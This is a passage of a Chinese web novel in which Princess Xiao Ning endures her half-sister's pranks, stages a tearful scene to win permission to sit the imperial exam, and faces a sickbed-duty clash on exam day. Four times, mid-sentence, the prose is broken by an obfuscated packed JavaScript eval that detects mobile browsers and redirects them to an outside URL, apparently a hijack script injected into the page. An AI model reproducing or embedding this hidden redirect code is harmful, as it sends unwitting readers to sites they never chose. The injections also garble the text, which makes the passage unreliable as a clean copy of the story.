“回二公主,这是皇上送给大公主的猫。” “她不就考了个童生吗?看把她给得意的,还敢向父皇要东要西。” 小石头垂着头,不敢说话。 只有笼子里的猫“喵喵”地叫着,还不知道发生了什么。 二公主看了两眼,说道:“把这两只猫送到我宫里去。” “可是……这是给大公主的……二公主不是已经有两只波斯猫了吗?” “叫你给我你就给我,父皇问起来,自有我担着。” “可是……可是小的没法交差呀。” “你怕什么?我拿走这两只猫,再还你两只就好了。” 说着,萧梦苒就把这两只波斯猫带走了。过了一会儿,她身边的宫女送来两个盒子。 “小石头,二公主说,让你把这盒子里的东西送给大公主。” 小石头把两个盒子接了过去,问道:“莫非二公主把小猫装在了盒子里?这也不通风呀。” 宫女道:“赶紧送去吧,别唧唧歪歪的。” 小石头赶紧把盒子送到了萧柠这儿,告罪道:“大公主,皇上本来叫我送两只波斯猫来,可半道上被二公主拿走了。二公主还给我两个盒子,说让我把盒子里的猫交给大公主……可能二公主用普通的猫替换了波斯猫……” 萧柠赶紧打开盒子,道:“不管是什么猫,也不该装在盒子里呀……啊!” 萧柠看见盒子里的东西,吓得大叫了一声。 原来,盒子里装的不是猫,而是两只死老鼠,看着有点恶心。 萧柠回过神来,并不太害怕了,只是觉得有些无语,问小石头:“这是二公主让你送来的?” 小石头也吓了一跳,赶紧跪下请罪:“大公主恕罪,奴才不知道二公主竟往盒子里放死老鼠……奴才还以为她只是用普通的猫替换了波斯猫而已……” “起来吧,这事也不能怪你,你回去吧。” 小石头见萧柠不责罚他,非常惊讶,愣住了。 萧柠见状,还以为他吓傻了,便给了他几两银子,安慰道:“没事的,这事跟你没关系。父皇面前,你也不要主动提起。如果父皇问起来,你再据实以对。” “是,谢谢大公主……” 小石头连声道谢,然后赶紧离开了。 系统出来了:“萧柠,你没有迁怒于小太监,获得一百积分。现在的积分是6900。” “我只是没有责怪小太监,也能获得积分?” “对啊,你贵为公主,能够体谅下人的难处,善待他们,自然是可以获得积分的。你不要以为这种事很简单,如果其他人处在你的位置上,未必能做到。” “谢谢啦。” 系统隐去了身形。 萧玉蟾走了过来,看见盒子里的死老鼠,惊讶道:“大公主,这……” 萧柠无所谓地笑了:“是二公主搞的鬼,把死老鼠扔了算了。本来想分你一只猫,现在不行了。” “这倒不要紧,只不过是一只猫,不值什么。我家里也有好几只,公主想要,改天我带一只给您。” “不用,我也没有很想养,之前向父皇要猫,不过是解闷罢了。二公主处处针对我,聊宠物都要跟我抢,我现在最好避其锋芒。” “其实,您是最大的公主,没必要一味忍让的。” “这不是忍让,我只是觉得没必要为这种无聊的事耗费心神。我们有更重要的事要做。小事上让二公主如了意,她就不会一直来为难我,浪费我时间。” “大公主说的是。” ———————— 揽月宫。 二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147014|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公主萧梦苒看着庭院中的几只波斯猫,吩咐宫女们:“你们好好照顾这几只猫,不可出了差池。” 宫女:“是。” 靳贵妃走了过来,道:“梦苒,你要这么多波斯猫干什么?” “我就是想让萧柠知道,在宫里,她能过上什么样的生活,我说了算。只要我不允许,她就连猫也不能养。” “这不是明摆着的事吗?她根本不能跟你比。你也没必要在这种小事上为难她,你们都到了出嫁的年纪,你选个好驸马,比萧柠的驸马强百倍,才是正经事。” “婚姻大事,自有父皇为我留意。如果有优秀的青年才俊,父皇一定会第一个想到我。” 靳贵妃道:“青年才俊多了,咱们得挑个最好的。马上就到年底了,你父皇会举办宫宴。他已经提前跟我透露,宫宴上会邀请一些未婚的贵族青年前来,名为赴宴,实则是为你和萧柠选婿。 母妃已经打听到了那些未婚青年的名单,并弄来了他们的画像,你现在可以先挑挑看。” 说着,靳贵妃命人拿来一堆画像,一幅幅地展示给萧梦苒看。 萧梦苒漫不经心,只是随便看两眼。 忽然,她盯着其中一幅画像,看得入神。 画像上的男子剑眉星目,穿一身黑色盔甲,神色凛凛,气度不凡,带着几分硬朗,显得威武不屈。 萧梦苒问道:“母妃,他是谁?” 靳贵妃道:“这是威远侯裴靖,几个月前因军功被封侯。他这些年因到处征战,几乎没时间在家,所以不愿早娶,以免妻子独守空房。他今年已经二十八了,尚未有妻室。 你若是看中了他,倒是有眼光。裴家本来已经衰落,但裴靖自幼习武,年少从军,冲锋陷阵毫不含糊,终于靠他自己把家门给撑起来了。 唯一不足的是他比你大了十岁,其他方面倒足以与你相配。如果你看中了他,母妃先去跟你父皇说一声。” “不,还是等到宫宴那天再仔细看看吧,总得知道他真人是什么样子。也许到时候有比他更好的呢。” “说的也是,这事也不用着急。反正驸马肯定是你先挑,萧柠不敢跟你抢的。” “母妃,能不能把萧柠远远地嫁出去,让她没法留在京城?” “这个也容易,只需要给她找一个家乡比较偏远的驸马,并令她婚后随驸马回乡居住就行了。” “她的驸马还得很普通才行,不能有任何地方比我的驸马强。” “这样的人可不太好找,至少这次你父皇找来的人都是比较优秀的。不过,慢慢找着,总能找到一无是处的纨绔子弟的。” “嗯。” 接着,萧梦苒问身边的宫女:“大公主有没有去皇上面前告状?” “好像没有,她收到死老鼠后,只是把死老鼠扔了。” 萧梦苒轻蔑地一笑:“她倒是很有自知之明,知道不能跟我斗。” 靳贵妃道:“她只是个女孩,翻不出什么浪。费尽心思考了个童生,也不过得了你父皇一点点赏赐而已。你什么都不用做,你父皇就会源源不断地送你东西。你的人生可比萧柠好多了。” 72. 弟弟(修) 萧梦苒挽着靳贵妃的手,笑道:“这都是因为女儿命好,投胎到了母妃的肚子里。不像萧柠,只是个宫婢之女,她娘还死了,她拿什么跟我比?” “本宫的孩子,自然是最受宠的。以后,你弟弟当了皇帝,母妃当了太后,这南萧国就是我们的天下了。” “母妃,到那时,可要给我增加封地和食邑。” “那当然,到时候,让你弟弟给你诸侯王的待遇,怎么样?” “太好了!” —————— 第二天,萧柠和萧玉蟾按时来到宗学堂上课。 虽然皇帝没有应允萧柠参加院试,但萧柠还是每天都认真学习。万一哪天就有参与考试的机会了呢?有备无患总是好的。 宗学堂是为所有宗室子弟开设的,但并没有规定他们每天必须来上课。 所以,很多皇子、宗室子弟都是三天打鱼两天晒网,从来没有一天是所有人都来齐了的。 对此,太傅和其他学士们都习惯了。 宗室子弟们得天独厚,身份高贵,将来要么有爵位,要么能继承丰厚的家产,完全无需为未来担心。他们不需要像普通举子那样,寒窗苦读,只为了能有条出路。 更何况,这些宗室子弟们大部分都是不能参加科举的,朝廷会直接给他们封爵位或者让他们当官。 除非是一些跟皇室关系太远的宗室子弟,本家已经日渐衰弱,自己已经不可能继承爵位或是太多家产了,才会努力一些。像这种宗室子弟,是可以参加科举的。 但这种破落户,往往因为交不起束脩,而没法进入宗学堂,只能在家读书或是跟平民百姓一样去普通学堂上学。 所以,能在宗学堂内读书的,都非富即贵,自然也不是几个学士能管得住的。 二皇子、三皇子倒是好学,但他们有时有公务在身,也没法每天来读书。 自从萧柠和萧玉蟾进入宗学堂后,情况有了变化。 因为,除了有事之外,这两个女孩一定会来宗学堂,而且异常认真。 别人背不下来的课文,她们能背下来;别人不愿做的作业,她们每次都完成得很好。 太傅和学士们本来并不在意女孩的学业,但逐渐被萧柠和萧玉蟾的刻苦学习感动了,越来越关心她们,愿意多教她们一些东西。 而萧柠和萧玉蟾来者不拒,师傅们教什么,她们就学什么,一丝不苟。 对于她们的行为,有些宗室子弟持嘲笑态度,也有人很佩服她们,但做不到像她们这般用功。 萧柠察觉到太傅对自己的态度越来越好了,于是又开始惦记太傅手上那本《西蜀策论集》。 如果能得到这本策论集,对自己的科举考试大有帮助。 于是,今日放学后,萧柠就大着胆子走到申太傅身边,问道:“太傅,可否把您的那本《西蜀策论集》借给我看看?” 申太傅道:“大公主,据臣所知,皇上并不同意您参加院试。也就是说,您以后都不能再参加任何科举考试了。您没必要看《西蜀策论集》。” “我只是看看都不行吗?” “那本书的内容是臣费心编写,臣想选一个臣心目中最优秀的读书人传下去,不能轻易借给别人,请大公主恕罪。” “太傅认为我不够优秀?” 太傅道:“大公主自然很优秀,但是……臣心目中的人选,是在府试、院试、乡试中均取得优异成绩的、有望考中状元的人才。 先不说您没有考试资格,便是有,离臣心目中的人选也差距了一大截。以您目前的水平,考中秀才应该问题不大,但考中举人和进士就难了。” 萧柠也知道太傅说的比较中肯,以自己的水平,确实离举人、进士还有差距,所以她在尽力弥补这个差距。 见萧柠有些难过,太傅道:“公主,其实您不论读不读书,都是一辈子的公主,有用不完的钱,为何要这么在意科举之事呢?如果您只是喜欢读书,那经常来宗学堂上课,也足够成为一个学识渊博之人了。” 萧柠很难解释,她总不能直接说自己想取得功名,做女官。 过早地暴露野心,会引来麻烦。 就算太傅没有恶意,不会把她的心思传扬出去,但难保其他人不会发现她的想法。 到时候,她会面临很多的阻力。 现在还不能说。 她要偷偷努力,最后惊艳所有人。等其他人想来阻拦她时,已经来不及了。 因此,萧柠只是说道:“我只是觉得,自己并不比男人差,所以才想参加科举,证明自己。既然父皇不允许我参加,太傅也不愿把书借给我,那就算了,不是什么大不了的事。” 太傅道:“若是公主想证明自己的才学不比别人差,其实有其他办法,比如著书立说,或是写几本诗集,流传后世,未必要参加科举。” “太傅说的是。” 萧柠准备离开,忽然见到二皇子萧奕知和三皇子萧奕贺一起前来找她。 萧柠笑问:“你们有什么事?” 二皇子道:“大皇姐,你和庆安县主考中童生,实在可喜可贺。我和三皇弟打算为你们二人设宴庆祝,不知您这些天可有时间?” “原来是为这事,考中童生而已,不是什么大事,不用庆祝了吧?” 三皇子抢着说道:“这怎么不算大喜事呢?能考中童生可不容易。总之,我们一定要为大皇姐庆祝的,明天中午在含德殿设宴怎么样?” “好吧,先谢谢你们了。不过,父皇不允许我参加接下来的考试,我空有童生的身份,也没什么用。” 三皇子安慰道:“也许过一段时间,父皇又同意你继续考了,先别气馁。” 萧柠点头:“嗯,三弟说的对。” 萧柠一向不喜欢悲观的想法,她觉得未来一切皆有可能。 也许今天不能做的事,到明天就能做了;今天解决不了的问题,到明天就突然解决了。 只要活着,就有希望。 第二天,萧柠和萧玉蟾一起去含德殿赴宴。 二皇子和三皇子准备了许多美食,很多都是女孩喜欢的食物,没有重油重盐的。 除了他们两人之外,还有几个年幼的皇子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147015|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公主也来了。他们还比较懵懂,主要是为了吃的来的。 众人见礼完毕,便直接开始吃了。 有几个小皇子、小公主比较喜欢萧柠,凑到了萧柠身边。 六皇子问道:“大皇姐,你为何变了模样?” 五皇子道:“不对,不是变了模样,而是大皇姐换了个人。之前那个大皇姐变成二皇姐了,现在这个大皇姐是刚认回来的。” 六皇子才四岁,他听不懂,也不明白为什么大皇姐忽然换人了,于是便歪着脑袋看萧柠,神色很迷惑。 萧柠觉得他很可爱,就把他抱在了膝盖上,给他夹菜吃。 六皇子又转过头对萧柠道:“个性也变了。” 萧柠笑问:“哪里变了?” “以前大皇姐很凶,现在一点也不凶。” “那小六以后经常来找大皇姐玩好不好?” “好啊,但是你不会变回以前那个凶巴巴的样子吧?” 萧柠忍俊不禁:“当然不会。” “那我尿床你也不能打我。” “不会打你,放心吧。” 见六皇子跟萧柠聊得很愉快,其他的孩子也活泼了起来,纷纷跟萧柠搭话。有些话很好玩,萧柠觉得孩子们真的太可爱了,他们的想法非常天马行空,根本料不到他们下一句话会说什么。 过了一会,大皇子萧奕兴路过,看见萧柠她们大摆宴席,皱眉道:“你们在干什么?” 萧柠等人赶紧起身。 二皇子说道:“大皇兄,因前几日大皇姐和庆安县主考中了童生,我们在给她们庆祝。听说大皇兄最近有点忙,就没有请您,请大皇兄恕罪。” 三皇子也说道:“大皇兄要不要一起来吃?” 大皇子一脸嫌弃:“有什么好庆祝的,女子考童生,不伦不类,不守本分,有损皇家颜面。” 三皇子辩驳道:“大皇兄,皇姐和庆安县主能考中童生,证明她们有学问,这明明是长脸的好事,怎么会有损皇家颜面呢?” “哼,男人才考科举,有些人放着好好的公主不当,想去当男人不成?简直是怪胎。别说是考了区区童生,便是考中进士,也不能做官,白费工夫。有这闲工夫,倒不如抄几遍《女则》,好好学学女子的本分。” 大皇子一向倨傲,萧柠也是知道的,因此并不打算计较,而且也计较不起。 现在萧柠羽翼未丰,在口舌之争上还是以退让为主。 因此,萧柠只是说道:“我不过是闲暇时读读书罢了,身为公主的本分,我自然是知道的。弟弟不必为我担心,我身为长姐,自会做好表率。我去参加县试和府试,也是为了以身作则,督促弟弟妹妹们用心学习而已。” 见萧柠称自己为弟弟,大皇子非常受不了。但没办法,他就是个弟弟。一日为弟,终身为弟,他确实生得比萧柠晚,他也没有办法。 也许他可以在吵架上赢了萧柠,在地位上赢了萧柠,但他永远无法在年纪上赢了萧柠。 想到这个,大皇子简直抓心挠肝地难受。 他就不该犯这个贱,不该跟萧柠搭话。 73. 演戏(修) 大皇子十分不悦,哼了一声就走了。 萧柠对其他弟弟妹妹笑道:“咱们还没吃完呢,接着吃。” 六皇子用小手捂着心口,道:“大皇兄好凶啊,我好害怕!他跟之前的那个大皇姐一样,好坏。” 萧柠笑道:“别怕,咱们不理他就是了。” 接着,萧柠给六皇子拿了一瓣橙子。 六皇子有了吃的,就把刚才的事忘到九霄云外了,继续认真干饭。 五公主道:“吓死我了,我刚才真怕大皇兄来跟我们一起吃饭,那样我会吃不下去的。” 萧柠摸了摸她的头:“有些话心里想想就好了,不要说出来。” “哦。” 萧柠看着满桌的弟弟妹妹,忽然想到了一件事。 这些皇子公主的生母,大部分都活着,只是地位都不算高,被靳贵妃压得死死的。 也就是说,靳贵妃并不是那种谁怀孕了就要弄死谁的性格。只要这些后妃们安安分分的,不跟她争,她其实是可以留后妃们一条活路的。 那么,当年她为什么要追杀萧柠的母亲? 这个问题,恐怕很难得到答案了。除非有一天,萧柠能掌控靳贵妃,逼她说出答案。 吃完饭后,萧柠给了弟弟妹妹一人一个红包。出钱请客的二皇子和三皇子,得到的红包最大。 几个孩子们收到红包很开心,马上揣兜里。二皇子和三皇子本来不想收,萧柠非要他们收下,他们便收下了。 系统给萧柠算了一百积分,现在积分是七千。 萧柠用意念问系统:“给红包也加积分?” “当然,这代表你慷慨大方,关爱小辈。” “你再这么夸我的话,我迟早会迷失自己。” “嘻嘻。” ———————— 萧柠和萧玉蟾回到了自己宫中。 萧玉蟾道:“大公主,您有没有发现,大皇子似乎很不满您考了童生?” “对,他可能觉得这不是女孩该做的事吧。” “既然如此,他有没有可能阻碍你?” “阻碍我?什么意思?” “之前我们都怀疑是二公主害您在考场腹泻,但也许是大皇子呢?大皇子可以随便出宫,相比于二公主来说,他更有机会培植自己的势力。想要做到给你的糕点下蟹粉,也十分容易。” 萧柠豁然开朗:“也有道理。不过,我义父一直盯着夏以清,没发现他跟谁有过接触。如果夏以清真的受大皇子的指使,事成后,大皇子为何不杀了他灭口呢?” “不知道……也许大皇子觉得这只是一件小事,就算暴露了,他也不会受到严惩,所以没必要把夏以清灭口。他要收买一个人也是要费一番功夫的,棋子自然要物尽其用,没用了才丢弃,不能随便杀了。” “也有可能……但是夏以清如果真的在为大皇子做事,难道除了暗中害我之外,这段时间大皇子没有别的事要他去做吗?一旦有别的事找他,那大皇子必然跟夏以清有接触,我义父应该会发现。” 萧玉蟾:“也许,像大皇子这种身份的人,没必要亲自去接触一个棋子,自有手下人帮忙。而跟夏以清接触之人,可能不引人注意,比如,是夏以清的亲朋好友之类的。 这样,就算对方给了夏以清什么任务,外人也难以知道。还有一种可能,就是最近大皇子确实没有让夏以清去做其他事,所以没有跟他接触的必要。” “嗯。” 她们现在也只能猜测,没什么办法。 —————— 时间过得很快,一转眼就到年底了。 大年二十八这天,皇帝举办宫宴,宴请大臣和一部分青年才俊。 这次受邀的大臣并不多,年轻的世家子弟倒是有几十人。 明眼人一看就知道,这次宫宴,是皇帝用来选婿的。 萧柠和二公主萧梦苒一左一右坐在皇帝身边。 皇帝提前跟萧柠打过招呼,说是会让一批青年才俊进宫赴宴,到时候她看上谁了就可以招为驸马。 皇帝虽说让萧柠自己挑选,但是着重推荐了威远侯裴靖,说裴靖是这批青年里最优秀的,凭自己振兴了家族,获封侯爵。如果萧柠看上了裴靖,可以优先把裴靖许配给她。 萧柠对此也很感动。皇帝虽然偏心二公主,但也有把萧柠当成亲生女儿,认真为她的婚事考虑。 不过,萧柠并不想这么快就嫁出去。 她还没获得功名,还没当女官。 在她心里,婚姻是放在事业之后的。 至少在这几年,她不会考虑嫁人。 嫁人了就要生孩子,操持家务,属于自己的时间和精力都会大大缩短。 因此,在这次宫宴上,萧柠只是来干饭的。 二公主萧梦苒倒是十分兴奋,浏览着席上的年轻人,怎么也看不够。 不过,她的眼神更多地集中在威远侯裴靖的身上。 萧柠也朝裴靖望去,她发现裴靖确实比其他人更有魅力,也难怪萧梦苒最喜欢看他。 裴靖没有像其他世家子弟那样养尊处优,而是从小就肩负起了家族的重担,读书习武从不懈怠,十一二岁就上战场。 这么多年的艰苦生活让他产生了一种成熟稳重的风韵,俊朗的五官带着几分沧桑,似乎眼角眉梢都是故事。 不过,萧柠只是随便看了两眼,就移开了目光。 裴靖不错,其他青年也不错。将来若能跟他们同朝为官,就更加不错。 萧柠给自己倒了一杯果汁,慢慢地喝着。 很多青年都知道这次宫宴是选驸马的,因此他们频频看向萧柠和萧梦苒,神色紧张又期待,都希望自己能成为驸马。 只有少数青年比较冷静,威远侯裴靖就是其中之一。 皇帝有心让他们表现一下,便让他们每人表演一个节目。 这些青年们各展所长,有舞剑的,有弹琴的,有作画的,十分好看。 萧柠只当是看表演了,乐呵呵地看完就走了。 —————— 晚上,揽月宫。 皇帝来到靳贵妃这里,提起了晚宴的事,问道:“今天来的人,梦苒有没有看上的?” 靳贵妃笑着笑着说道:“梦苒刚跟我说了,她看中了威远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147016|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侯裴靖。” 皇帝有些为难:“裴靖?朕本来打算把他许配给大公主。” “皇上,难道我们的女儿不能先挑吗?” “自然可以。不过,朕以为梦苒不会看上裴靖,毕竟裴靖比她大了十岁。” “也许是有缘分吧,梦苒说她第一眼看见裴靖,就有几分喜欢。” “好吧,不过朕得先跟柠儿说一下,然后再考虑梦苒的婚事。” 靳贵妃有些不满:“皇上,莫非梦苒的婚事还需要大公主点头不成?” “不是,朕之前跟柠儿说过,想把裴靖许配给她。但现在又要让梦苒嫁给裴靖,朕总得知会柠儿一声。不然,她怕是要伤心。她从小就不在朕跟前长大,朕本来想在婚事上给她优先权的。” “皇上把她认回来,还封了她的生母、义父义母和乳母,锦衣玉食地供着她,没什么对不起她的。总之,您可不能让她跟梦苒争。不管您怎么跟她说,总之裴靖必须娶梦苒。” “好吧,让朕想想。朕肯定不会委屈了梦苒,她才是朕最在意的女儿。” 靳贵妃娇笑道:“谢皇上。” —————— 第二天,皇帝把萧柠叫去,有些为难地说:“柠儿,本来父皇想让你嫁给威远侯裴靖的,可没想到你二皇妹也看上了他。你看这该怎么办?” 萧柠知道,皇帝表面上在问她怎么办,实际上她只能有一个选择,就是把一切都让给二公主萧梦苒。 有的时候父母让你选择,是希望你自己识相一点。 萧柠本来也不在乎,刚想开口,忽然想到了什么。 她决定演一出戏。 于是,她抬起头,有些伤心地说:“父皇,是真的吗?二妹妹也喜欢裴靖?那我呢?我比她大,本该是我先选婿的。” 皇帝为难道:“道理上是如此,但你二妹从小娇纵,从没受过委屈。婚姻可是一辈子的事,朕也希望她能嫁给自己喜欢的人。你这个做姐姐的,想必也会为她考虑吧?” 萧柠泫然欲泣:“是,我身为大姐,理当谦让。可是,那个人可是裴靖啊……我实在是……父皇,其他的都能让,但这件事……” “柠儿,你也只见了裴靖一面,跟他不熟悉。只要你不去想他,很快就会忘记的。优秀的世家子弟很多,没有他,自然还有更好的。” “父皇说得有理,可是……感情的事不是那么容易放下的……虽然如此,女儿还是愿意尝试放下……女儿自幼喜欢读书,如果每天读书,可能可以缓解情绪……” “说得对,这不失为一个好办法。” “可是,我漫无目的地读书,很容易走神的……一走神,难免又想起伤心的事……父皇,不如您让我参加明年的院试吧,我有了考秀才的目标,就会把所有心思都用在读书上,转移注意力…….虽然我考秀才没什么用,但好歹也是个自我疗伤的方法。” 皇帝觉得,让萧柠有一件正经事做,她就不会沉溺于悲伤了。 如果萧柠相思成疾,一病不起,皇帝也会心疼。 因此,皇帝说道:“好吧,朕答应你。不过,这次只能你自己一人去考。” 74. 侍疾(修) 听见皇帝的许诺,萧柠既忧且喜。 她试着继续恳求:“父皇,我希望庆安县主能跟儿臣一起参加考试。两个人一起,可以作伴,还能互相督促。” 皇帝道:“不妥。总之,只能你自己去参加院试。而且,只能参加一次。这一次考不中秀才,以后就放弃科举的事吧。你是公主,不是吃不饱饭的贫寒学子。” “是。” 萧柠知道,她现在能争取到的也就只有这么多了。 皇帝对她的感情有限,她能有参加院试的资格,也多亏了刚才演的一出戏。 女人参加科举,本就是前所未有的。越往后的考试越严肃,越严肃就越容不得女人。 如果实在要加女人进去,也是越少越好。 皇帝已经算是为萧柠破例了。 萧柠回到自己宫中,有些歉疚地把这事告诉了萧玉蟾。 “玉蟾,实在抱歉,我没有为你争取到院试的名额。以后我会想办法的。” 萧玉蟾却平静许多,还带着几分欣慰:“没关系,皇上有此决定是正常的。大公主能为自己争取到院试的名额,已经很了不起了。您懂得利用不利的情形,为自己争取利益,令臣女很惊喜。臣女一直觉得您很聪明,如今看来果然如此。” 萧柠惊讶:“真没想到你会这么平静。” 萧玉蟾笑了,笑中带着几分酸涩、几分释然:“没什么,我早就明白,这个世界上,女人要往上走并不容易。但要往下走,反而有很多人乐于见到,甚至积极促成。 公主,你要代替我往上走,不要回头。只有你站得够高,才能把我拉上去。这世上还有千千万万个我,我们都在期待着一个机会。” 萧柠神情肃穆:“我明白。玉蟾,别的话我不多说,总之,请你放心。” “那就好。我虽然不能跟公主一起参加院试,但可以当公主的老师。公主能考上秀才的话,我这个当老师的自然也是高兴的。” “嗯。” 从此,萧柠更加发奋学习。 萧玉蟾也尽心尽力指导她。 萧玉蟾早就把科举的每一场考试都研究得透透的,辅导起萧柠可谓是来得心应手。 老师和学生都聪明过人,萧柠的学习进度很快,可以说是芝麻开花节节高。 学累的时候,萧柠就会进夸夸群聊天。随便聊上两句,她就精神饱满了。 这是夸夸群的新功效,被她用来缓解读书的疲累了。 萧柠觉得,这个功能挺实用的。 ———————— 过了年之后,二公主萧梦苒便嫁给了威远侯裴靖。 婚礼非常盛大,十里红妆,让围观百姓们津津乐道。 萧梦苒的公主府是早就建好了的,皇帝和靳贵妃更是给她添置了许多东西,恨不得把天上的星星也摘给她。 公主府里,光是用来放嫁妆的库房就有十几间。 成亲以后,萧梦苒也在自己的公主府里生活,无需去裴家,也不用跟裴家其他人打交道。 婚礼当天,萧梦苒特意把萧柠叫了过来,笑道:“姐姐,没想到我比你先出嫁了。在出嫁之前,如果没有你的祝福的话,总觉得不完美。” 这对萧柠来说毫无难度,她笑着恭喜萧梦苒:“祝二妹妹和夫君百年好合,琴瑟和谐。” 萧梦苒有几分得意地盯着萧柠:“大皇姐是真心的吗?” “这还有假?自然是真心的了。” “你觉得我和裴靖般配吗?” “很般配。” “大皇姐不会在背后偷偷难过吧?” “当然不会,你大喜的日子,我为何要难过?今天婚宴上的菜不错,我还要接着吃,就先不打扰你了。” 说着,萧柠就回到了自己的位置上。 见萧柠如此落落大方,毫不嫉妒,萧梦苒反而有些不是滋味。她觉得萧柠真是太能装了,心里指不定多难过,面上还云淡风轻。 想到这里,萧梦苒牵着裴靖的手,露出了微笑。 而裴靖脸上并无多少喜色,像个提线木偶一样。 他的神色一向是如此淡然,别人也不会觉得奇怪。 只有几个跟裴靖交好的臣子,猜测裴靖可能并不满意这桩婚事,但他没有选择权。 二公主挑中了他,皇帝赐婚的圣旨马上就送到了他手上,他只能接受安排。 像裴靖这样的人,如果要自己选择妻子的话,肯定不会选萧梦苒这种性情的。 但是他的想法对皇帝来说不重要,对萧梦苒来说也不重要。 宴席上的菜确实不错,靳贵妃特意找来宫外大厨做的,就是为了给女儿办一场特别的酒席。 萧柠虽然吃御膳很久了,但今天有许多菜都是第一次吃到,不免多吃几口。 这场婚礼,萧梦苒满意极了,萧柠也满意极了。 —————— 一转眼,便到了六月份。院试即将举行。 萧柠已经报了名,并且准备充分。临近考试,她反而不紧张了,觉得一切都是水到渠成而已。 萧玉蟾已经多次给萧柠出题,检验萧柠的水平。 每次的检验结果都一样:萧柠已经具备秀才的水平。 萧玉蟾从不夸大其词,她说萧柠可以,萧柠就一定可以。 这半年来,萧柠在认真学习,而年长的三位皇子,则被皇帝委派了官职,各自忙各自的去了,很少出现在宫里。 大皇子去了户部任职,能接触到一些重要的政务。而二皇子、三皇子则被委派了闲职,做的事都不太重要。 明眼人都看得出,皇帝这是有意着重培养大皇子。而对于其他儿子,皇帝只是随便给口饭吃而已。 纵然是这样,萧柠心中也很羡慕。 皇子可以直接当官,但萧柠却要兜一个大圈子,努力去考功名,还不知道最后能不能成功。 就算她将来有幸考中进士,可能也只是有了个荣誉称号,皇帝未必愿意让她做官。 同为皇帝的孩子,其他皇子比大皇子艰难一些,而萧柠比所有皇子更难一些。 她有时候也觉得不公平,但没办法,事情就是这样,差距已经摆在那儿了,自暴自弃或是愤世嫉俗都没有用,有这闲工夫,不如一步一个脚印,去缩小差距,去走完这条漫长的道路。 每进步一点,就离自己的目标更近。 不去看别人,才能走好自己的路。 就像一个腿脚不便的登山者,注定比别人慢。但只要不停地走,总有登顶的一天。 先考中秀才,再图别的。 ———————— 两天后的六月十六号,就是院试的时间了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147017|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >萧柠心中很期待。 可是,皇帝突然病了。 靳贵妃掌管宫中事务,规定这次由六岁以上的皇子公主们轮流侍疾,每人照顾皇帝一天。 萧柠侍疾的日期被排在六月十六号,也就是院试当天。 得知这个消息,萧柠像是被人从头到脚泼了一盆冷水,浑身都有些麻木。 为什么偏偏是这个日子? 萧柠为了这次院试,已经准备了大半年。如果不去,如何甘心? 皇帝已经说了,只给她这一次院试的机会。 如果她不去,就浪费了这来之不易的考试机会。 可是,皇帝生病了,她身为女儿,如果不侍奉在侧,岂非要背负不孝的名声? 如果名声坏了,就算她考中秀才,甚至考中进士,也绝无当官的可能。 因为当官首先要通过品德考核,而排在品德考核第一位的,就是孝道。 品德考核不过关,凭你是什么大才子或是贵族子弟,都不可能成为官员。 来传话的是靳贵妃身边的庞嬷嬷。 萧柠试着求情:“庞嬷嬷,可否让贵妃娘娘通融一下,六月十六号,我要参加院试。在那之前或之后的时间,我都可以侍疾,多排几天班也行。” 庞嬷嬷拉着脸,道:“这是贵妃娘娘定的,奴婢做不了主。请大公主按照贵妃娘娘的吩咐行事。” “按照长幼次序,我是最大的,自然应该第一天侍疾。不如我今天去照顾父皇吧?求庞嬷嬷跟贵妃娘娘说一声。” “奴婢只是个传话的,奴婢还有事,先告退了。” 说着,庞嬷嬷就走了。 萧玉蟾在屋内,早已听见了庞嬷嬷的传话。 她走到萧柠身边,担忧道:“公主,这怎么办?” 萧柠想了想:“不管怎样,我先去找父皇,也许父皇会允许我错开考试时间去侍疾。” 于是,萧柠来到皇帝的寝宫。 可是,她被拦在了门外。 守门的侍卫道:“大公主,对不住,皇上病重,贵妃娘娘有吩咐,不许别人随便进去。” “不是说要皇子公主们轮流侍疾吗?我进去照顾父皇,有何不可?” “贵妃娘娘说了,皇上每天不宜见太多人,请诸位皇子公主按照排班表轮流探视,不是自己侍疾的日子,不能进去。” 